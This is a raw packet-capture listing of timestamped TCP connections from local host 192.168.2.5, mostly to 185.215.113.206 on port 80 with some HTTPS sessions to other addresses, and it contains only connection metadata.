Nov 23, 2024 01:14:27.717026949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.717773914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.717822075 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.717998028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.718050003 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.718720913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.718786001 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.718818903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.718863964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.719711065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.719770908 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.719814062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.719860077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.720639944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.720688105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.720752954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.720799923 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.721597910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.721652985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.721719027 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.721762896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.722574949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.722624063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.722683907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.722727060 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.723547935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.723596096 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.723695040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.723803043 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.724504948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.724554062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.724590063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.724644899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.725511074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.725563049 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.725748062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.725799084 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.726449013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.726505995 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.726560116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.726731062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.727576971 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.727591991 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.727636099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.728400946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.728532076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.728584051 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.729360104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.729407072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.729450941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.729646921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.730309010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.730333090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.730356932 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.730387926 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.731323004 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.731380939 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.731466055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.731512070 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.732289076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.732347012 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.732387066 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.732476950 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.733237982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.733280897 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.733285904 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.733334064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.734174013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.734231949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.734303951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.734415054 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.735183001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.735265017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.735297918 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.735321045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.736138105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.736238003 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.736247063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.736416101 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.737123966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.737162113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.737193108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.737222910 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.738110065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.738166094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.738217115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.738261938 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.739144087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.739204884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.739248991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.740042925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.740060091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.740103006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.740118027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.740932941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.740993977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.748328924 CET	443	49810	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:27.748418093 CET	443	49810	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:27.748552084 CET	49810	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:27.748709917 CET	49810	443	192.168.2.5	172.64.41.3
Nov 23, 2024 01:14:27.748737097 CET	443	49810	172.64.41.3	192.168.2.5
Nov 23, 2024 01:14:27.764718056 CET	49816	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:27.791323900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:27.851999044 CET	443	49815	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:27.852184057 CET	443	49815	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:27.852256060 CET	49815	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:27.852401018 CET	49815	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:27.852420092 CET	443	49815	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:27.888185978 CET	443	49811	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:27.888849974 CET	49811	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:27.888870955 CET	443	49811	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:27.889736891 CET	49811	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:27.889741898 CET	443	49811	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:27.910792112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:27.943047047 CET	443	49812	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:27.943497896 CET	49812	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:27.943525076 CET	443	49812	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:27.943924904 CET	49812	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:27.943929911 CET	443	49812	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:27.944418907 CET	443	49813	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:27.944741011 CET	49813	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:27.944770098 CET	443	49813	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:27.945143938 CET	49813	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:27.945151091 CET	443	49813	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:27.946619987 CET	443	49814	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:27.946894884 CET	49814	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:27.946908951 CET	443	49814	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:27.947330952 CET	49814	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:27.947335005 CET	443	49814	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:28.072611094 CET	443	49816	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:28.072670937 CET	443	49816	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:28.072742939 CET	49816	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:28.072892904 CET	49816	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:28.072904110 CET	443	49816	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:28.104000092 CET	443	49809	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:28.104072094 CET	443	49809	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:28.104146957 CET	49809	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:28.104511976 CET	49809	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:28.104517937 CET	443	49809	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:28.108968019 CET	49821	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:28.109031916 CET	443	49821	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:28.109266043 CET	49821	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:28.109427929 CET	49821	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:28.109438896 CET	443	49821	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:28.245681047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.245750904 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.245816946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.245883942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.246195078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.246229887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.246256113 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.246727943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.247093916 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.247215986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.247270107 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.248034954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.248161077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.248219013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.248981953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.249068975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.249115944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.249178886 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.249978065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.250051022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.250092030 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.250201941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.250936031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.250988007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.251087904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.251151085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.251490116 CET	443	49818	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:28.251715899 CET	49818	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:28.251735926 CET	443	49818	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:28.251938105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.252011061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.252032995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.252135038 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.252881050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.252948999 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.252995968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.253053904 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.253840923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.253900051 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.253950119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.253999949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.254827023 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.254880905 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.254942894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.254995108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.255213976 CET	443	49818	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:28.255275965 CET	49818	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:28.255621910 CET	49818	443	192.168.2.5	162.159.61.3
Nov 23, 2024 01:14:28.255791903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.255809069 CET	443	49818	162.159.61.3	192.168.2.5
Nov 23, 2024 01:14:28.255844116 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.255907059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.255956888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.256768942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.256825924 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.256881952 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.256941080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.257728100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.257782936 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.257848024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.257899046 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.258693933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.258757114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.258790970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.258806944 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.259660959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.259712934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.259776115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.259828091 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.260646105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.260699034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.260762930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.260831118 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.261615992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.261732101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.261782885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.261797905 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.262567997 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.262689114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.262744904 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.263576984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.263686895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.263741970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.263787985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.264528036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.264561892 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.264776945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.265470028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.265553951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.265575886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.265655041 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.266452074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.266578913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.266644001 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.267412901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.267484903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.267535925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.267591953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.268393993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.268461943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.268513918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.268584967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.269366980 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.269421101 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.269438028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.269500971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.270317078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.270374060 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.270428896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.270524979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.271272898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.271330118 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.271408081 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.271454096 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.272031069 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:28.272053957 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:28.272208929 CET	49823	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:28.272237062 CET	443	49823	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:28.272238970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.272315025 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:28.272355080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.272360086 CET	49823	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:28.272361040 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.272401094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.272556067 CET	49823	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:28.272567034 CET	443	49823	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:28.272629023 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:28.272643089 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:28.273195028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.273274899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.273310900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.273360014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.274175882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.274230003 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.274307966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.274365902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.275166035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.275213957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.275275946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.275327921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.276158094 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.276216030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.276267052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.276323080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.277097940 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.277158976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.277210951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.277266026 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.278052092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.278120041 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.278175116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.278351068 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.279182911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.279217958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.279243946 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.279333115 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.279998064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.280050039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.280987978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.281022072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.281044960 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.281055927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.281101942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.281928062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.282000065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.282396078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.282455921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.282905102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.282957077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.283150911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.283204079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.283878088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.283931017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.283983946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.284043074 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.284867048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.284921885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.285209894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.285263062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.285928011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.285980940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.286834002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.286868095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.286890030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.286904097 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.286952972 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.287749052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.287815094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.287825108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.287923098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.288718939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.288773060 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.288908005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.288958073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:28.289725065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:28.289776087 CET	49760	80	192.168.2.5	185.215.113.206
